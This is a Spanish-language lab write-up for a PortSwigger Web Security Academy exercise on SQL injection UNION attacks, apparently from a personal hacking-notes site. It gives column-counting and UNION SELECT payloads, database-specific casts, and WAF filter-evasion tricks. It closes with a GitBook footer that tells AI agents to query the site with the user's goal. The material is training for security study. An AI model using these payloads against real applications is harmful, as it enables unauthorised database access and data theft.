> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-to-find-a-text-compatible-column.md).

# Ataque UNION para encontrar una columna compatible con texto

Notas de Ataque UNION para encontrar una columna compatible con texto para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Ataque UNION de inyección SQL, encontrando una columna que contiene texto

**Objetivo:** inserta un `UNION` línea que contiene el valor de prueba (`PjNkGQ`) para identificar qué columna acepta cadenas y luego extraer datos de texto.

#### (1) Confirmar el número de columnas (si aún no se conoce)

* Probar con `ORDER BY` incremental:

  ```sql
  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ' ORDER BY 3-- -
  ```

Cuando `ORDER BY N` causa un error, el número de columnas es `< N`.

#### 2) Inyectar una `UNION` fila que contiene el valor dado

* Ejemplo para **3 columnas**:

  ```sql
  ' UNION SELECT NULL, 'PjNkGQ', NULL-- -
  ```

— si la respuesta muestra `PjNkGQ`, el **2.ª columna** es compatible con texto.

#### 3) Variantes para localizar la columna visible

* Prueba la constante en cada posición:

  ```sql
  ' UNION SELECT 'PjNkGQ', NULL, NULL-- -
  ' UNION SELECT NULL, NULL, 'PjNkGQ'-- -
  ```
* Usa constantes separadas para identificar las columnas visibles:

  ```sql
  ' UNION SELECT 'A','B','C'-- -
  ```

#### (4) Gestionar errores de tipo

* Si `UNION` falla por incompatibilidad de tipos, usa `NULL` para columnas no textuales o convierte la constante según la GBD:
* **MySQL / PostgreSQL**:

  ````
  ```sql
  ' UNION SELECT NULL, CAST('PjNkGQ' AS CHAR), NULL-- -
  ```
  ````

  * **MSSQL** :

    ```sql
    ' UNION SELECT NULL, CAST('PjNkGQ' AS VARCHAR(8000)), NULL-- -
    ```
  * **Oracle** :

    ```sql
    ' UNION SELECT NULL, TO_CHAR('PjNkGQ'), NULL-- -
    ```
* Si algunas columnas requieren tipos numéricos, deja `NULL` para ellas y coloca el texto solo en la columna candidata.

#### 5) Si un WAF / filtro bloquea `UNION`

* Varía los comentarios / el espaciado: `-- -`, `--`, `/*... */`.
* Construye la cadena mediante funciones (p. ej., `CONCAT('P','jNkGQ')`) para eludir la normalización estricta.

#### (6) Resultado esperado

* La respuesta contiene `PjNkGQ` → columna de texto identificada. A partir de ahí, construye `UNION SELECT` para la enumeración (tablas/columnas/dumps).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-to-find-a-text-compatible-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
